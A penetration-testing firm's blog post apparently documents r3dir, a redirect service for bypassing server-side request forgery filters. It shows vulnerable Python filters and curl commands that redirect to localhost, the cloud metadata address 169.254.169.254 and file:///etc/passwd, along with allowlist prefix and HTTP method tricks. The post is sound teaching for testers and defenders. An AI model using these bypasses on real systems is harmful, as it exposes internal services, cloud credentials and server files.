Leviathan Security Group - Penetration Testing, Security Assessment, Risk Advisory

View Original

Bypassing SSRF Filters Using r3dir

Server-side request forgery (also known as SSRF) is a type of web security vulnerability that enables attackers to trick the server-side application into making requests to an unintended location. Attackers who exploit this vulnerability can cause the server to connect to services that are usually not intended to be accessed from external networks, such as internal-only services within the organization’s infrastructure.

With the increasing use of third-party APIs and services integration, SSRF vulnerabilities have become more prevalent. In response, SSRF has taken its place in OWASP Top 10:2021 and developers must implement mitigations.

In this post, we demonstrate how to use the r3dir tool to bypass some SSRF filters. r3dir is a public (hosted on r3dir.me) and convenient redirection service made for SSRF filter bypasses and has the following features:

  • Define the redirection target via URL parameters or subdomains

  • Control HTTP response status codes

  • Bypass certain weak allowlist filters

  • Support CORS preflight requests for headless browser redirects

  • Integrates with BurpSuite

Getting started

Take a look at this filter example written in Python, the main goal of which is to allow only those URLs that point to external IPs:

from urllib.parse import urlparse 
import requests 
import socket 
import ipaddress  

def is_external(domain): 
    ip = socket.gethostbyname(domain) 
    return ipaddress.ip_address(ip).is_global  

def get_content(url): 
    if is_external(urlparse(url).hostname): 
        return requests.get(url).content 
    raise Exception("URL points to an internal resource")

At first glance the filter should work without any issue. However, Python’s requests library performs redirects under the hood. As a result, the filter has no option to verify the IP address of a URL that will be taken from the HTTP redirection response.

This means that if an attacker hosts a simple web server with a redirect to an internal resource (e.g., localhost or 169.254.169.254), they will bypass the filter and obtain the response from the internal resource, which in essence leads to an SSRF! Usually, a pentester would need to host the redirect themselves. However, with r3dir you can do perform a redirect in this way:

curl "https://302.r3dir.me/--to/?url=http://localhost" -v  
# Results into: 
#  
# HTTP/1.1 302 Found 
# Location: http://localhost

URL scheme limitations bypass

Developers can enforce usage only HTTPS URLs to ensure that only secure connections are performed by the application. Nevertheless, like in the previous example, usually the check is performed against user input only and you can bypass the limitation with the help of HTTP redirection.

Below is an example of https:// scheme check:

from urllib.parse import urlparse
import requests 
import socket 
import ipaddress  

def is_https(url):
    return urlparse(url).scheme == "https"

def get_content(url): 
    if is_https(url): 
        return requests.get(url).content 
    raise Exception("URL points to an internal resource")

An ability to bypass such scheme limitations is extremely useful because most internal services, including cloud providers metadata, communicate via HTTP. In addition, some HTTP clients may perform not only HTTP and HTTPS requests but also work with other schemes.

curl "https://302.r3dir.me/--to/?url=http://169.254.169.254" -v  
# Results into: 
#  
# HTTP/1.1 302 Found 
# Location: http://169.254.169.254

For example, file:// scheme will probably let an attacker interact with server filesystem, converting SSRF vulnerability into arbitrary file read one. r3dir naturally allows you to do this:

curl "https://302.r3dir.me/--to/?url=file:///etc/passwd" -v  
# Results into: 
#  
# HTTP/1.1 302 Found 
# Location: file:///etc/passwd

URL specific format bypass

Alongside scheme limitations, sometimes an application expects some specific format of URL input, limiting port, path or query parameters of the URL or only allow a user to specify hostname for predefined HTTP requests. Based on the previous trick it is obvious that HTTP redirects can help to bypass such limitations too.

Let us look at next webhook URL integration:

from urllib.parse import urlparse
import requests
import socket
import ipaddress

def get_domain(url):
    return urlparse(url).hostname 
    
def check_webhook(url):
    if domain := get_domain(url):
        return requests.get(f"https://{domain}:8080/").content     
    raise Exception("Missing hostname")

To encode payload, use either CLI tool:

$ r3dir encode http://localhost:8888
62epax54k4z4o2wubwlx57p374.302.r3dir.me

or Hackvertor tags in BurpSuite:

If the API limitations require some domain prefix, just prepend it to the URL as a subdomain with -- delimiter. The prefix will be ignored by the r3dir server:

curl "http://accounts.google.com.--.62epax54k4z4o2wubwlx57p374.302.r3dir.me" -v   
# Results into: 
# 
# HTTP/1.1 302 Found 
# Location: http://localhost:8888

Also, if some path or query params are required, it will be ignored too.

curl "http://accounts.google.com.--.62epax54k4z4o2wubwlx57p374.302.r3dir.me/webhook?query=value" -v  
# Results into: 
#  
# HTTP/1.1 302 Found 
# Location: http://localhost:8888

HTTP method manipulation

One of interesting effects of HTTP redirects is that you can change a request’s method to GET via redirect. Consider the following example of a predefined POST request to some user defined host:

import requests  

def health_request(hostname):
    return requests.post(f"https://{hostname}/check", json = {"health": true}).content

The resulting request:

POST /check HTTP/1.1 
Host: localhost 
User-Agent: python-requests/2.28.2 
Accept-Encoding: gzip, deflate 
Accept: */* 
Connection: close 
Content-Length: 16 
Content-Type: application/json  

{"health": true}

The SSRF attack in the example is limited due to POST method. Because one of the most popular SSRF exploitations is unauthorized data access and read actions in REST APIs are usually implemented via GET HTTP method. Fortunately, 301 , 302 , 303 redirect status codes force HTTP clients to change method of the redirected request to GET, so you can use:

  • curl "http://301.r3dir.me/--to/?url=http://localhost" -X POST -v -L

  • curl "http://302.r3dir.me/--to/?url=http://localhost" -X DELETE -v -L

  • curl "http://303.r3dir.me/--to/?url=http://localhost" -X PUT -v -L

Alternatively, you can preserve the HTTP method of the original request using status codes 307 and 308:

  • curl "http://307.r3dir.me/--to/?url=http://localhost" -X POST -v -L

  • curl "http://308.r3dir.me/--to/?url=http://localhost" -X PUT -v -L

Other r3dir features

CORS preflighted request support

r3dir supports reflective Access-Control-Allow-Origin header for cross-origin resource sharing (CORS) requests and can redirect preflighted requests. It will help redirect headless browsers without being blocked by browser’s CORS politics.

Integration with BurpSuite

For seamless web application fuzzing, r3dir has custom Hackvertor tags for BurpSuite. If you haven’t seen the Hackvertor extension in BurpSuite before, check it out. Instructions on how to install the r3dir Hackvertor tag can be found at Github.

Closing words

r3dir server is available on Github for self-hosting. If you want to read details about the tool’s limitations and installation instructions for CLI tool, integration with BurpSuite, and a self-hosted option, visit our README page. We are open to contributions, feature requests or any other support.

Credits

This article was written entirely by Senior Security Consultant Vladyslav Horodivskyi